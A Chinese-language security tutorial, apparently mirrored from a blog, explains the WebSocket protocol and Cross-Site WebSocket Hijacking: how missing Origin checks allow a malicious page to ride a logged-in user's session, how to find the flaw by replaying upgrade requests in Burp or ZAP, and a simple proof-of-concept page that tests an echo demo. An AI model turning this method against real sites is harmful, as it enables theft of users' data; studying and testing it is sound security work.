29

CSWSH漏洞总结

 4 years ago
source link: https://www.tuicool.com/articles/m2Irqi6
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

一般的,Web应用的交互过程通常是客户端通过浏览器发出一个请求,服务器端接收请求后进行处理并返回结果给客户端,客户端浏览器将信息呈现。这种机制对于信息变化不是特别频繁的应用尚可,但却不适用于高并发与用户实时响应的场景,比如股票的实时信息、地图导航等。

于是,基于HTML5规范的、有Web TCP之称的WebSocket应运而生。

YVrIvi6.png!web

WebSocket是HTML5一种新的协议,它实现了浏览器和服务器全双工通信,更好地节省服务器资源和宽带并达到实时通讯,它建立在TCP之上,同HTTP一样通过TCP来传输数据,但和HTTP协议的不同点在于:

  • WebSocket是持久化的协议,而HTTP是非持久连接;
  • WebSocket是一种双向通信协议,在建立连接后,WebSocket服务器和浏览器/客户端代理都能主动地向对方发送或接收数据,就像Socket一样,而HTTP是单向通信协议;
  • WebSocket需要类似TCP的三次握手连接,但和TCP不同的是,WebSocket是基于HTTP协议进行的握手,连接成功后才能相互通信;
  • WebSocket具有功能强大、双向、低延迟等特征,特别是针对实时的、事件驱动的Web应用程序而言,不惜要的网络流量和延迟得以显著减少,通信效率和应用程序表现大大提升;

WebSocket定义了两种URI格式:ws://和wss://,类似于HTTP和HTTPS,ws://使用明文传输,默认端口为80,wss://使用TLS加密传输,默认端口为443。

协议转换与报文特征

WebSocket协议是基于HTTP协议进行的握手连接之后才转换过来的。通信协议从http://或https://切换到ws://或wss://后,表示应用已经切换到了WebSocket协议通信状态了。

websocket.org页面上,点击Connect会发现请求的协议为ws://,并且响应码是101,一旦服务器返回101响应即意味着完成了WebSocket协议的切换:

MjeIj2y.png!web

该站点也提供了客户端的HTML与JS代码来访问WebSocket,JS建立WebSocket连接的接口为 new WebSocket(url, [protocol] )

<!DOCTYPE html>
 <meta charset="utf-8" />
 <title>WebSocket Test</title>
 <script language="javascript" type="text/javascript">
 var wsUri = "wss://echo.websocket.org/";
 var output;

 function init()
 {
   output = document.getElementById("output");
   testWebSocket();
 }

 function testWebSocket()
 {
   websocket = new WebSocket(wsUri);
   websocket.onopen = function(evt) { onOpen(evt) };
   websocket.onclose = function(evt) { onClose(evt) };
   websocket.onmessage = function(evt) { onMessage(evt) };
   websocket.onerror = function(evt) { onError(evt) };
 }

 function onOpen(evt)
 {
   writeToScreen("CONNECTED");
   doSend("WebSocket rocks");
 }

 function onClose(evt)
 {
   writeToScreen("DISCONNECTED");
 }

 function onMessage(evt)
 {
   writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
   websocket.close();
 }

 function onError(evt)
 {
   writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
 }

 function doSend(message)
 {
   writeToScreen("SENT: " + message);
   websocket.send(message);
 }

 function writeToScreen(message)
 {
   var pre = document.createElement("p");
   pre.style.wordWrap = "break-word";
   pre.innerHTML = message;
   output.appendChild(pre);
 }

 window.addEventListener("load", init, false);
 </script>
 <h2>WebSocket Test</h2>
 <div id="output"></div>

访问该HTML文件就会自己发送WebSocket请求,在Frames一栏可看到进行交互的WebSocket协议信息:

y22MjmQ.png!web

Burp能抓取到协议转换的这个101报文,但之后ws://或wss://协议的通信报文就抓不到了:

IBZ7N33.png!web

看到两个关键的头字段Connection和Upgrade,相当于告诉服务端要申请切换到WebSocket协议。其中Connection头字段指定Upgrade、申请切换协议,而Upgrade头字段指定为websocket、具体告诉服务端想切换的协议为WebSocket。

整个WebSocket协议切换报文如下:

eem22qI.png!web

其他一些头字段解释如下:

HTTP头 是否必须 解释 Host 是 服务端主机名 Upgrade 是 固定值,”websocket” Connection 是 固定值,”Upgrade” Sec-WebSocket-Key 是 客户端临时生成的16字节随机值, base64编码 Sec-WebSocket-Version 是 WebSocket协议版本 Origin 否 可选, 发起连接请求的源 Sec-WebSocket-Accept 是(服务端) 服务端识别连接生成的随机值 Sec-WebSocket-Protocol 否 可选,客户端支持的协议 Sec-WebSocket-Extensions 否 可选, 扩展字段

两个重要的安全头,Sec-WebSocket-Key与Sec-WebSocket-Accept:客户端负责生成一个Base64编码过的随机数字作为Sec-WebSocket-Key,服务器则会将一个GUID和这个客户端的随机数一起生成一个散列Key作为Sec-WebSocket-Accept返回给客户端。这个工作机制可以用来避免缓存代理(caching proxy),也可以用来避免请求重播(request replay)。

出于安全考虑而设计的,以“Sec-”开头的头字段可以避免被浏览器脚本读取到,这样攻击者就不能利用XHR来伪造WebSocket请求来执行跨协议攻击,因为XHR接口不允许设置Sec-开头的Header。

WebSocket属性

属性 描述 Socket.readyState 只读属性 readyState 表示连接状态,可以是以下值:0 - 表示连接尚未建立。1 - 表示连接已建立,可以进行通信。2 - 表示连接正在进行关闭。3 - 表示连接已经关闭或者连接不能打开。 Socket.bufferedAmount 只读属性 bufferedAmount 已被 send() 放入正在队列中等待传输,但是还没有发出的 UTF-8 文本字节数。

WebSocket事件

事件 事件处理程序 描述 open Socket.onopen 连接建立时触发 message Socket.onmessage 客户端接收服务端数据时触发 error Socket.onerror 通信发生错误时触发 close Socket.onclose 连接关闭时触发

WebSocket方法

方法 描述 Socket.send() 使用连接发送数据 Socket.close() 关闭连接

跨域

跨域是WebSocket与生俱来的能力。

由前面协议转换可知,WebSocket客户端不仅仅局限于浏览器,因此WebSocket协议没有规范Origin必须相同,未指定ACAO,也没有规定服务器在握手阶段应该如何认证客户端身份,因而同源策略、CORS机制并不适用于WebSocket协议。

0x02 CSWSH漏洞

CSWSH全称Cross-site WebSocket Hijacking,跨站点WebSocket劫持漏洞。

漏洞场景

支持WebSocket协议的Web站点如股票实时查询、地图导航等,并且未对请求的Origin头字段进行校验。

漏洞原理

CSWSH漏洞类似于全能型的CSRF漏洞,可读可写。

漏洞根源是WebSocket天生可跨域,不受同源策略的影响。在此基础上,若目标服务端未对WebSocket协议请求的Origin头字段进行校验,则会导致WebSocket协议请求可被攻击者劫持,从而窃取敏感信息。

下面看个修改过的图,是目标站点存在cookie校验机制的场景:

qEzUbqE.png!web

  1. 用户首先登录stock.com实时查询股票信息,其中该站点支持WebSocket,需要用户携带cookie访问;
  2. 接着用户被诱使在当前的浏览器访问beauty.com,其中加载了恶意JS代码到用户的浏览器中执行;
  3. 恶意JS代码通过WebSocket协议向stock.com站点发起请求,此时请求是用户浏览器发起的、是自动带上cookie信息的;
  4. stock.com收到恶意JS发送的WebSocket请求,由于未校验ws://请求的Origin头字段,在检测cookie合法后,返回敏感信息到用户浏览器;
  5. 用户浏览器中的恶意JS收到stock.com响应的WebSocket协议响应信息后,发往攻击者服务器,从而造成跨站点WebSocket劫持攻击;

漏洞挖掘

进行CSWSH漏洞挖掘前需要准备好一款可以重放WebSocket协议报文的代理工具,Burp是做不到的,但是我们可以选择OWASP ZAP来实现。

一般的漏洞挖掘步骤:

  1. 找到支持WebSocket的站点;
  2. 使用ZAP等代理工具重放切换WebSocket协议的报文,其中修改Origin头查看服务端是否校验Origin头;
  3. 若未校验Origin头,则进一步发送WebSocket连接报文查看能否成功利用;

当然,切换协议的请求报文依然是可以使用Burp来完成的,这里修改Origin头之后再重放报文,发现成功响应101报文,证明该站点未校验Origin,可能存在CSWSH漏洞:

N3EZJf6.png!web

由于未找到合适的靶场环境,下面以 https://demos.kaazing.com/echo/index.html 为例演示,该站点建立的WebSocket连接是无需带cookie的。

先用ZAP代理抓取到101响应报文:

6ne2Ifv.png!web

建立WebSocket连接后,通过该协议发送信息,在ZAP的WebSockets一栏可以查看到发送的内容:

jAr6BbY.png!web

使用ZAP重放切换WebSocket协议请求的报文,修改Origin头:

IRjqEjy.png!web

发送过去后响应101,说明协议切换成功,服务端并未校验Origin头:

vMveu26.png!web

下面就编写PoC ws_exp.html,直接拿前面的代码修改下,放置在攻击者的服务器上,原理就是XHR发起建立WebSocket协议请求,建立成功后尝试发送”Mi1k7ea“字符串信息通信,若返回内容为”Mi1k7ea“则证明能够正常进行WebSocket通信,即能够被跨站点劫持进行WebSocket通信:

<!DOCTYPE html>
 <meta charset="utf-8" />
 <title>WebSocket Test</title>
 <script language="javascript" type="text/javascript">

 var wsUri = "wss://demos.kaazing.com/echo";
 var output;

 function init()
 {
   output = document.getElementById("output");
   testWebSocket();
 }

 function testWebSocket()
 {
   websocket = new WebSocket(wsUri);
   websocket.onopen = function(evt) { onOpen(evt) };
   websocket.onclose = function(evt) { onClose(evt) };
   websocket.onmessage = function(evt) { onMessage(evt) };
   websocket.onerror = function(evt) { onError(evt) };
 }

 function onOpen(evt)
 {
   writeToScreen("CONNECTED");
   doSend("Mi1k7ea");
 }

 function onClose(evt)
 {
   writeToScreen("DISCONNECTED");
 }

 function onMessage(evt)
 {
   writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
   if ("Mi1k7ea" == evt.data) {alert("存在CSWSH漏洞!");}
   websocket.close();
 }

 function onError(evt)
 {
   writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
 }

 function doSend(message)
 {
   writeToScreen("SENT: " + message);
   websocket.send(message);
 }

 function writeToScreen(message)
 {
   var pre = document.createElement("p");
   pre.style.wordWrap = "break-word";
   pre.innerHTML = message;
   output.appendChild(pre);
 }

 window.addEventListener("load", init, false);
 </script>
 <h2>WebSocket Test</h2>
 <div id="output"></div>

当然,PoC很简单,具体操作可自行发挥。

诱使已登录目标站点的用户在同一浏览器访问攻击者服务器上的ws_exp.html(当然这里是假设场景),看到能正常建立WebSocket连接并正常通信:

ZjQ7Vzu.png!web

此时Origin头是指向攻击者服务器的,由于后台未校验Origin导致可被跨站点劫持:

nIFZzmA.png!web

0x03 检测与防御

检测方法

修改请求报文中的Origin头字段,重放该WebSocket协议升级请求,若服务器返回101响应则表示连接成功即未对源进行检测,则可能存在CSWSH漏洞。

最好是进一步测试是否可以发送WebSocket消息,若这个WebSocket连接能够发送/接受消息的话,则完全证明CSWSH漏洞的存在。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK